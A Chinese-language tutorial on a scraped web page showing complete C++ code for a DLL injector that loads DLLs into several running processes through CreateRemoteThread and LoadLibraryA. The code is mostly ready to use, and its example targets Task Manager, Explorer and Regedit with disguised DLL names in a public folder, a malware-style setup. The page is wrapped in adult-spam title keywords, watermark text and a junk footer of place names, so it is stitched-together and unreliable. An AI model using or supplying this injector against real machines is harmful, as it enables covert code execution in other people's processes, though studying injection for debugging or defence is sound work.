日韩成人免费在线_国产成人一二_精品国产免费人成电影在线观..._日本一区二区三区久久久久久久久不

當前位置:首頁 > 科技  > 軟件

利用C++的HashMap結構實現一個多DLL注入器

來源: 責編: 時間:2024-01-16 17:33:26 223觀看
導讀1.技術實現背景在C++代碼中, 如果要實現將一個Dll高效的注入到多個進程中, 可以定義一個HashMap結構, 在該結構中, 鍵名用來保存多個進程的名稱, 而對應的鍵值可以對應的保存一個或多個DLL路徑, 這個HashMap結構定義

svB28資訊網——每日最新資訊28at.com

1.技術實現背景

在C++代碼中, 如果要實現將一個Dll高效的注入到多個進程中, 可以定義一個HashMap結構, 在該結構中, 鍵名用來保存多個進程的名稱, 而對應的鍵值可以對應的保存一個或多個DLL路徑, 這個HashMap結構定義如下:svB28資訊網——每日最新資訊28at.com

unordered_map<string, vector<string>> injectionMap;

而向其填充的鍵和鍵值參考如下:svB28資訊網——每日最新資訊28at.com

injectionMap["taskmgr.exe"] = { "C://Users//Public//mscde.dll","C://Users//Public//msc23.dll"}; injectionMap["explorer.exe"] = { "C://Users//Public//mscde.dll" }; injectionMap["regedit.exe"] = { "C://Users//Public//mscde.dll" }; injectionMap["notepad.exe"] = { "C://Users//Public//mscde.dll" };

在該結構中, 每個進程可以對應注入的一個或多個Dll, 實際上鍵值是一個字符串數組。svB28資訊網——每日最新資訊28at.com

這里設計一個多DLL注入器的函數如下:svB28資訊網——每日最新資訊28at.com

int injectDlls(unordered_map <string, vector<string>> injectionMap) { for (auto& injectRow : injectionMap) {  for (auto& vectorDLL : injectRow.second) {           injectDLL(vectorDLL, getPIDbyProcName(injectRow.first));        }  cout << endl; } return 0;}

該函數實現的功能如下:svB28資訊網——每日最新資訊28at.com

  • 參數接收一個HashMap結構, 其中鍵保存了要注入的所有進程名稱, 其值保存了要注入到進程的DLL全路徑字符串。
  • 循環遍歷該結構, 取出鍵中的進程名傳給getPIDbyProcName()函數獲取該進程名對應的PID; 取出鍵值中的DLL全路徑傳給injectDLL()函數的第一個參數, 將獲取的PID作為injectDLL()函數的第二個參數傳入。
  • 最終由injectDLL()函數完成進程DLL注入。

svB28資訊網——每日最新資訊28at.com

2.實現通過進程名獲取PID

通過進程名獲取PID的C++參考代碼如下:svB28資訊網——每日最新資訊28at.com

int getPIDbyProcName(const string& procName) {    int pid = 0;    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    PROCESSENTRY32W pe32;    pe32.dwSize = sizeof(PROCESSENTRY32W);    if (Process32FirstW(hSnap, &pe32) != FALSE) {        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {            wstring wideProcName(procName.begin(), procName.end());            if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {                pid = pe32.th32ProcessID;            }        }    }    CloseHandle(hSnap);    return pid;}

以上代碼屬于常規操作, 不再贅述。svB28資訊網——每日最新資訊28at.com

svB28資訊網——每日最新資訊28at.com

3.實現DLL遠程注入

實現遠程DLL注入的injectDLL() 函數參考代碼如下:svB28資訊網——每日最新資訊28at.com

bool injectDLL(string dllPath, int pid) { char* dllPathChar = new char[dllPath.length() + 1]; strcpy_s(dllPathChar, dllPath.length() + 1, dllPath.c_str()); dllPathChar[dllPath.length()] = '/0'; HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProc == NULL) {  cout << "OpenProcess failed" << endl;  return false; } LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); if (LoadLibAddr == NULL) {  cout << "GetProcAddress failed" << endl;  return false; } LPVOID dereercomp = VirtualAllocEx(hProc, NULL, strlen(dllPathChar), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (dereercomp == NULL) {  cout << "VirtualAllocEx failed" << endl;  return false; } if (WriteProcessMemory(hProc, dereercomp, dllPathChar, strlen(dllPathChar), NULL) == 0) {  cout << "WriteProcessMemory failed" << endl;  return false; } HANDLE hThread = CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, NULL, NULL); if (hThread == NULL) {  cout << "CreateRemoteThread failed" << endl;  return false; } CloseHandle(hProc); CloseHandle(hThread);  return true;}

遠程DLL注入函數injectDLL() 主要完成了以下工作:svB28資訊網——每日最新資訊28at.com

  • 接收兩個參數, dllPath是要注入的DLL全路徑, pid是目標進程的ID。
  • 在目標進程中調用VirtualAllocEx函數分配內存,需要傳入DLL全路徑。
  • 調用WriteProcessMemory函數將DLL全路徑寫入到分配的內存中。
  • 動態獲取kernel32.dll中的LoadLibraryA函數地址。
  • 在目標進程中通過CreateRemoteThread創建一個遠程線程, 將入口點設置為LoadLibraryA函數, 并將參數指向目標進程中的DLL路徑。
  • 關閉進程和遠程線程句柄。
  • 如果注入成功返回true, 否則返回false。

svB28資訊網——每日最新資訊28at.com

4.注意事項

以上代碼在布滿實時監控檢測的機器上已經不再適用于各種非法用途, 但DLL注入仍然在很多場景被用到, 例如: 軟件調試、逆向工程、輔助工具開發等。上面的代碼實現主要是為了分享對DLL注入的技術細節理解和參考。svB28資訊網——每日最新資訊28at.com

svB28資訊網——每日最新資訊28at.com

本文鏈接:http://www.www897cc.com/showinfo-26-62791-0.html利用C++的HashMap結構實現一個多DLL注入器

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。郵件:2376512515@qq.com

上一篇: 2023 年頂級前端工具,你都用了哪些呢?

下一篇: C++方差的運算:方差求解以及方差的增量計算

標簽:
  • 熱門焦點
  • 一加Ace2 Pro官宣:普及16G內存 引領24G

    一加官方今天繼續為本月發布的新機一加Ace2 Pro帶來預熱,公布了內存方面的信息。“淘汰 8GB ,12GB 起步,16GB 普及,24GB 引領,還有呢?#一加Ace2Pro#,2023 年 8 月,敬請期待。”同時
  • 六大權益!華為8月服務日開啟:手機免費貼膜、維修免人工費

    8月5日消息,一年一度的華為開發者大會2023(Together)日前在松山湖拉開帷幕,與此同時,華為8月服務日也式開啟,到店可享六大專屬權益。華為用戶可在華為商城Ap
  • 一篇文章帶你了解 CSS 屬性選擇器

    屬性選擇器對帶有指定屬性的 HTML 元素設置樣式。可以為擁有指定屬性的 HTML 元素設置樣式,而不僅限于 class 和 id 屬性。一、了解屬性選擇器CSS屬性選擇器提供了一種簡單而
  • 使用AIGC工具提升安全工作效率

    在日常工作中,安全人員可能會涉及各種各樣的安全任務,包括但不限于:開發某些安全工具的插件,滿足自己特定的安全需求;自定義github搜索工具,快速查找所需的安全資料、漏洞poc、exp
  • 中國家電海外掘金正當時|出海專題

    作者|吳南南編輯|胡展嘉運營|陳佳慧出品|零態LT(ID:LingTai_LT)2023年,出海市場戰況空前,中國創業者在海外紛紛摩拳擦掌,以期能夠把中國的商業模式、創業理念、戰略打法輸出海外,他們依
  • 得物寵物生意「狂飆」,發力“它經濟”

    作者|花花小萌主近日,得物宣布正式上線寵物鑒別,通過得物App內的&ldquo;在線鑒別&rdquo;,可找到鑒別寵物的選項。通過上傳自家寵物的部位細節,就能收獲擁有專業資質認證的得物鑒
  • 大廠卷向扁平化

    來源:新熵作者丨南枝 編輯丨月見大廠職級不香了。俗話說,兵無常勢,水無常形,互聯網企業調整職級體系并不稀奇。7月13日,淘寶天貓集團啟動了近年來最大的人力制度改革,目前已形成一
  • 8月見!小米MIX Fold 3獲得3C認證:支持67W快充

    這段時間以來,包括三星、一加、榮耀等等有不少品牌旗下的最新折疊屏旗艦都得到了不少爆料,而小米新一代折疊屏旗艦——小米MIX Fold 3此前也屢屢被傳
  • Meta盲目擴張致超萬人被裁,重金押注元宇宙而前景未明

    圖片來源:圖蟲創意日前,Meta創始人兼CEO 馬克&middot;扎克伯發布公開信,宣布Meta計劃裁員超11000人,占其員工總數13%。他公開承認了自己的預判失誤:&ldquo;不僅
Top 主站蜘蛛池模板: 中卫市| 青冈县| 甘谷县| 全州县| 南京市| 江山市| 金山区| 鄂托克旗| 富民县| 南郑县| 那坡县| 穆棱市| 依安县| 来安县| 成武县| 武邑县| 菏泽市| 商水县| 北票市| 三原县| 永登县| 乌鲁木齐市| 东阳市| 昌图县| 甘谷县| 那曲县| 沅江市| 九江县| 黎城县| 万山特区| 米泉市| 海盐县| 鄂托克前旗| 乳山市| 苏尼特左旗| 顺平县| 绥棱县| 浦江县| 巴彦淖尔市| 枣庄市| 基隆市|